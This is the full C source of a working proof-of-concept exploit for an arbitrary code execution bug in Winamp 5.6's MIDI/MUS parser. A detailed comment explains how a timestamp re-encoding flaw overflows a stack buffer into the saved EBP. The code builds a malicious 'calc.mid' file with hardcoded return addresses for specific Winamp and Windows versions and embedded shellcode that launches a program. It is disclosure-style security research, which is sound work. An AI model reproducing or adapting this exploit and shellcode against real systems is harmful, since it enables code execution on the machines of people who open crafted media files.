|
/* * Winamp 5.6 Arbitrary Code Execution in MIDI Parser * Copyright (C) 2010 Kryptos Logic * * Bug discovered by Peter Wilhelmsen. * Exploit written by Morten Shearman Kirkegaard. */
/* * When Winamp plays MUS files and other MIDI variants, it begins by * converting them to a canonical format. * * IN_MIDI.DLL 0x076ED6D3 * Timestamps in MUS and MIDI are 32 bit values encoded as a series of * bytes, with 7 bits in each byte. The most significant bit indicates * whether or not this is the last byte. Winamp can decode any value * without problems, but when it tries to re-encode them for the MIDI * data, it uses the naive approach of shifting multiples of 7 bits. On * x86 a shift of more than 31 bits does NOT result in a cleared * register, so after shifting 0, 7, 14, 21, and 28 bits, it will shift * 35 bits, resulting in a shift of only 3 bits. If the most significant * bit is set, Winamp will keep shifting forever. However, if it is * cleared, and one or more of the following three bits are set, it will * shift 0, 7, 14, 21, 28, 3, 10, 17, 24, and 31 bits. The last shift * will result in a fully cleared register, so only 9 output bytes are * generated. The allocated stack buffer is 8 bytes, so the least * significant byte will overflow into the saved EBP. * * IN_MIDI.DLL 0x076EE07F * The saved EBP is restored into the register before returning to the * main coversion function. If a value of 0x60 is written to the least * significant byte of EBP, the function will run to the end without * errors, but will use the sum of all timestamps encountered as its * return address. We choose a number of timestamps which add up to the * desired return address, and make sure that only the last timestamp * will cause an overflow. When the function returns, a pointer to the * input buffer is located at ESP+0x14. We return to an instruction * sequence of ADD ESP, 0x14; RET; so the execution will continue at the * MUS header. * * By choosing 0xC0 as the least significant byte of the scoreLen field, * the header becomes executable without touching memory. We choose the * most significant byte of scoreLen and the least significant byte of * scoreStart to make up a JMP instruction, skipping the rest of the * header and continuing execution in the instrument list, where the * desired shellcode is placed. More shellcode can be placed after the * note events in the score data, if needed. */
#include <inttypes.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h>
unsigned char shellcode[] = { /* http://www.shell-storm.org/shellcode/files/shellcode-662.php */ 0xFC,0x31,0xD2,0xB2,0x30,0x64,0xFF,0x32, 0x5A,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B, 0x72,0x28,0x31,0xC9,0xB1,0x18,0x31,0xFF, 0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C, 0x20,0xC1,0xCF,0x0D,0x01,0xC7,0xE2,0xF0, 0x81,0xFF,0x5B,0xBC,0x4A,0x6A,0x8B,0x5A, 0x10,0x8B,0x12,0x75,0xDA,0x8B,0x53,0x3C, 0x01,0xDA,0xFF,0x72,0x34,0x8B,0x52,0x78, 0x01,0xDA,0x8B,0x72,0x20,0x01,0xDE,0x31, 0xC9,0x41,0xAD,0x01,0xD8,0x81,0x38,0x47, 0x65,0x74,0x50,0x75,0xF4,0x81,0x78,0x04, 0x72,0x6F,0x63,0x41,0x75,0xEB,0x81,0x78, 0x08,0x64,0x64,0x72,0x65,0x75,0xE2,0x49, 0x8B,0x72,0x24,0x01,0xDE,0x66,0x8B,0x0C, 0x4E,0x8B,0x72,0x1C,0x01,0xDE,0x8B,0x14, 0x8E,0x01,0xDA,0x52,0x68,0x78,0x65,0x63, 0x01,0xFE,0x4C,0x24,0x03,0x68,0x57,0x69, 0x6E,0x45,0x54,0x53,0xFF,0xD2,0x6A,0x00, 0x68,0x63,0x61,0x6C,0x63,0x6A,0x05,0x31, 0xC9,0x8D,0x4C,0x24,0x04,0x51,0xFF,0xD0, 0x68,0x65,0x73,0x73,0x01,0x89,0xFB,0xFE, 0x4C,0x24,0x03,0x68,0x50,0x72,0x6F,0x63, 0x68,0x45,0x78,0x69,0x74,0x54,0xFF,0x74, 0x24,0x24,0xFF,0x54,0x24,0x24,0x57,0xFF, 0xD0 };
void append_time(unsigned char **p, uint32_t t) { int bytes;
if ((t >> 28)) { bytes = 5; } else if ((t >> 21)) { bytes = 4; } else if ((t >> 14)) { bytes = 3; } else if ((t >> 7)) { bytes = 2; } else { bytes = 1; }
switch (bytes) { case 5: *((*p)++) = 0x80 | ((t >> 28) & 0x7F); case 4: *((*p)++) = 0x80 | ((t >> 21) & 0x7F); case 3: *((*p)++) = 0x80 | ((t >> 14) & 0x7F); case 2: *((*p)++) = 0x80 | ((t >> 7) & 0x7F); case 1: *((*p)++) = 0x00 | ( t & 0x7F); } }
void append_note_event(unsigned char **p, uint32_t t) { *((*p)++) = (1 << 7 /* last = true */) | (1 << 4 /* type = play note */) | (0 << 0 /* chan = 0 */); *((*p)++) = (0 << 7 /* vol = false */) | (0 << 0 /* note */); append_time(p, t); }
int main(void) { struct { char magic[4]; uint16_t scoreLen; uint16_t scoreStart; uint16_t channels; uint16_t sec_channels; uint16_t instrCnt; uint16_t dummy; uint16_t instruments[100]; /* enough for shellcode and for a good scoreStart value */ unsigned char score[1024]; } __attribute__((packed)) x; unsigned char *p; uint32_t ret = //0x0041E092 /* winamp.exe 5.581 */ 0x0041E22C /* winamp.exe 5.6 */ ; uint8_t ebp = //0x70 /* 5.581, Windows 7 */ //0x48 /* 5.581, Windows XP */ //0x54 /* 5.60, Windows 7 */ 0x60 /* 5.60, Windows XP */ ; int fd;
memset(&x, 'A', sizeof(x));
x.magic[0] = 'M'; /* 4D DEC EBP */ x.magic[1] = 'U'; /* 55 PUSH EBP */ x.magic[2] = 'S'; /* 53 PUSH EBX */ x.magic[3] = 0x1A; /* 1A C0 SBB AL,AL */ x.scoreLen = 0xEBC0; /* EB 09 JMP +9 */ x.scoreStart = 0x0109; /* must be >= 16+instrCnt*2 && < 16+instrCnt*4 */ x.channels = 1; x.sec_channels = 0; x.instrCnt = sizeof(x.instruments) / sizeof(*x.instruments); x.dummy = 0; memcpy((void *)x.instruments, shellcode, sizeof(shellcode));
p = (unsigned char *)x.score;
ret -= 0x10000000 + ebp; /* for the final overflow */ while (ret >= 0x10000000) { append_note_event(&p, 0x0FFFFFFF); ret -= 0x0FFFFFFF; } append_note_event(&p, ret); append_note_event(&p, 0x10000000 + ebp); append_note_event(&p, 0);
if ((fd = open("calc.mid", O_WRONLY|O_CREAT, 0644)) == -1) { perror("open(calc.mid) failed"); return EXIT_FAILURE; } if ((write(fd, &x, sizeof(x))) != sizeof(x)) { perror("truncated write"); return EXIT_FAILURE; } close(fd);
return EXIT_SUCCESS; }
|